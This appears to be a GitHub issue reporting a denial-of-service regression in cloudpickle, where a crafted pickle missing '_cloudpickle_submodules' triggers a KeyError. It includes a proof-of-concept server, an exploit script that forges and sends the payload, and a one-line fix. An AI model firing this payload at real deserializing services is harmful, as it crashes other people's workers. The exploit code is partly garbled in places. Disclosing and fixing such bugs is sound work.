cloudpipe / cloudpipe/cloudpickle

Bug: unguarded dict.pop() in _function_setstate causes KeyError crash on crafted pickle (regression from c6f8cd4)

Open
#593 1 comment 0 reactions 0 assignees View on GitHub
Dominant language
Python
Stars
1.9k
Forks
195
Avg merge
1d 10h
Merged PRs (30d)
1

Description

A crafted pickle payload that omits the key `_cloudpickle_submodules` from a function's slotstate triggers an unhandled `KeyError` in `_function_setstate()`, immediately crashing any process that calls `pickle.loads()` on it.

A CVE has been requested to MITRE for this issue.
## Affected versions

cloudpickle >= 2.2.0 (regression introduced in commit c6f8cd4, October 2023)

---

## Root cause

In commit c6f8cd4 (#517), the following defensive check was removed:

```python
# OLD safe
if '_cloudpickle_submodules' in state:
state.pop('_cloudpickle_submodules')

and replaced with:

# NEW vulnerable (cloudpickle.py line 1156)
slotstate.pop("_cloudpickle_submodules") # KeyError if key is absent

Proof of concept

Server.py :
`
import socket
import struct
import pickle
import cloudpickle
import os

HOST = "127.0.0.1"
PORT = 9999

def start_server():
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((HOST, PORT))
s.listen()
print(f"Listening {HOST}:{PORT}...")

while True:
conn, addr = s.accept()
with conn:
try:
raw_msglen = conn.recv(4)
if not raw_msglen: continue
msglen = struct.unpack(">I", raw_msglen)[0]

data = b""
while len(data) < msglen:
chunk = conn.recv(msglen - len(data))
if not chunk: break
data += chunk

print(f"{len(data)}o from {addr}")

task = pickle.loads(data)

result = str(task())
print(f"Result : {result}")

resp = f"OK: {result}".encode()
conn.sendall(struct.pack(">I", len(resp)) + resp)

except KeyError as e:
print(f"\nCRASH DÉTECTÉ (VULN-2) : KeyError: {e}")
print("Stoping server to show the DOS")
break
except Exception as e:
print(f"[!] Error : {type(e).__name__}: {e}")
err_msg = f"Error: {str(e)}".encode()
conn.sendall(struct.pack(">I", len(err_msg)) + err_msg)

if __name__ == "__main__":
start_server()
`

exploit.py
`
#!/usr/bin/env python3
import pickle
import socket
import struct
import sys
import os

HOST = "127.0.0.1"
PORT = 9999

def build_payload() -> bytes:
sys.path.insert(0, os.path.dirname(__file__))
import cloudpickle

valid = cloudpickle.dumps(lambda: 42)
target = b'\x8c\x17_cloudpickle_submodules\x94]\x94'

if target not in valid:
sys.exit("[!] Signature not found — incompatible cloudpickle version")

modified = valid.replace(target, b'', 1)
old_len = struct.unpack(' bytes | None:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(4)
s.connect((HOST, PORT))
s.sendall(struct.pack(">I", len(data)) + data)
raw = s.recv(4)
if not raw:
return None
length = struct.unpack(">I", raw)[0]
return s.recv(length)

def cmd_try():
sys.path.insert(0, os.path.dirname(__file__))
import cloudpickle

print(f"[*] Connecting to {HOST}:{PORT}...")
task = cloudpickle.dumps(lambda: "pong")

try:
resp = send(task)
print(f"[+] Server is up — response: {resp.decode()}")
except ConnectionRefusedError:
print("[-] Connection refused — server not running")
sys.exit(1)
except socket.timeout:
print("[-] Timeout — server not responding")
sys.exit(1)

def cmd_exploit():
payload = build_payload()
print(f"[*] Forged payload: {len(payload)} bytes")
print(f"[*] Key '_cloudpickle_submodules' removed from slotstate")
print(f"[*] Sending to {HOST}:{PORT}...")

try:
resp = send(payload)
print(f"[-] Server responded (not crashed): {resp}")
except ConnectionRefusedError:
print("[!] Connection refused — server already dead or not running")
except (socket.timeout, ConnectionResetError):
print("[+] No response — server crashed")
print("[+] DoS confirmed: KeyError: '_cloudpickle_submodules'")

Usage:
python3 exploit.py try Test the connection (sends a legit task)
python3 exploit.py exploit Send the DoS payload
"""

Impact

Any service deserializing cloudpickle payloads is affected:
Dask, Ray, Spark, Celery workers, REST APIs accepting serialized Python objects.
A single 513-byte payload is sufficient to terminate the target process.

Fix

# cloudpickle/cloudpickle.py, line 1156
- slotstate.pop("_cloudpickle_submodules")
+ slotstate.pop("_cloudpickle_submodules", None)

Contributor guide

No contributing guide indexed for this repository

Assessment

This issue has not been assessed yet.

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.